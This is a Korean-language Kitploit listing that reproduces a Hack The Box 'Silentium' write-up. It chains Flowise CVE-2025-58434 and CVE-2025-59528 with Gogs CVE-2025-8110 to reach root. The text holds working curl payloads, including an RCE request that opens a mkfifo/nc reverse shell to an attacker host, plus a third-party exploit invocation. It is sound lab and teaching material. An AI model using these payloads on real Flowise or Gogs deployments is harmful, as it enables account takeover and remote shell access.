Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HTB-Silentium-Writeup — Hack The Box - Silentium 머신 라이트업 | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110 | Kitploit
도구/GitHubGitHub/twappz/htb-silentium-writeup
Privilege EscalationVulnerability AnalysisExploitationInformation GatheringWeb SecurityCTFPenetration TestingLearning & EducationContainer Escape
GitHubtwappz/htb-silentium-writeup

HTB-Silentium-Writeup

Hack The Box - Silentium 머신 라이트업 | CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

14개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

HTB - Silentium 라이트업

Hack The Box Difficulty OS

머신 정보

  • 이름: Silentium
  • OS: Linux
  • 난이도: 쉬움
  • CVE: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

정보 수집

Nmap 스캔

root@kitploit:~
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt

열린 포트: 22 (SSH), 80 (HTTP)

가상 호스트 — staging.silentium.htb는 Flowise 3.0.5를 실행 중


발판 — Flowise RCE

CVE-2025-58434 — 인증 없는 비밀번호 재설정 토큰 유출

forgot-password 엔드포인트는 API 응답에서 tempToken을 직접 유출합니다.

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'

유출된 tempToken을 사용하여 비밀번호를 재설정합니다:

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'

CVE-2025-59528 — CustomMCP를 통한 인증된 RCE

로그인하여 API 키를 얻은 다음 RCE를 트리거합니다:

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'

Docker 컨테이너 내부에서 root로 셸을 획득했습니다.


컨테이너 탈출

환경 변수 확인:

root@kitploit:~
env

자격 증명 발견:

  • FLOWISE_USERNAME=ben
  • FLOWISE_PASSWORD=F1l3_d0ck3r

호스트로 SSH 접속:

root@kitploit:~
ssh ben@<IP>

권한 상승 — Gogs CVE-2025-8110

Gogs가 내부적으로 포트 3001에서 root로 실행 중입니다.

SSH 터널 설정:

root@kitploit:~
ssh -L 8080:127.0.0.1:3001 ben@<IP>

http://127.0.0.1:8080을 통해 Gogs에 계정을 등록하고 API 토큰을 생성했습니다.

CVE-2025-8110 — PutContents API의 심볼릭 링크 우회

TYehan의 익스플로잇을 사용:

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080 \
  --username <user> \
  --password <pass> \
  --token <token> \
  --host <LHOST> \
  --port 4446

root 셸 획득! 🎉


플래그

  • 사용자 플래그: /home/ben/user.txt
  • 루트 플래그: /root/root.txt

사용된 도구

  • nmap
  • curl
  • ffuf
  • netcat
  • Python3

참고 자료

  • CVE-2025-58434
  • CVE-2025-59528
  • CVE-2025-8110 /etc/hosts에 추가됨:
도구 다운로드